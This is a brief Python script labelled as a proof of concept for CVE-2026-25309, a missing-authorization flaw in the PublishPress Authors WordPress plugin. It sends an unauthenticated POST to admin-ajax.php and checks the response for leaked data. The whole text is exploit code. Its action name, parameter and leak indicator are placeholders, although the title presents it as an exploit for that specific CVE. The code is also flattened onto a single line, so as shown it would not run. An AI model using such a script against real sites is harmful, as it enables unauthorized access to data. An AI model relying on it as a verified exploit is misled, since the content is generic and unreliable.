CVE-2026-25309

import requests # Exploit Title: PublishPress Authors < 4.10.1 - Missing Authorization PoC # Description: This script demonstrates unauthorized access due to missing capability checks. # Note: Replace 'target_url' with the actual vulnerable endpoint. target_url = "http://example.com/wp-admin/admin-ajax.php" # The specific 'action' parameter depends on the vulnerable function in the plugin # This is a generic example for missing authorization in WP plugins data = { "action": "pp_authors_vulnerable_action", # Replace with actual action name "param": "value" } try: # Sending request without authentication cookies (PR:N) response = requests.post(target_url, data=data) if response.status_code == 200: # Analyzing response to confirm data leak if "sensitive_data_indicator" in response.text: print("[+] Vulnerability confirmed! Sensitive data leaked.") print(response.text[:200]) # Print snippet of response else: print("[?] Request sent, but could not confirm data leak from response.") else: print(f"[-] Server returned status code: {response.status_code}") except Exception as e: print(f"Error: {e}")

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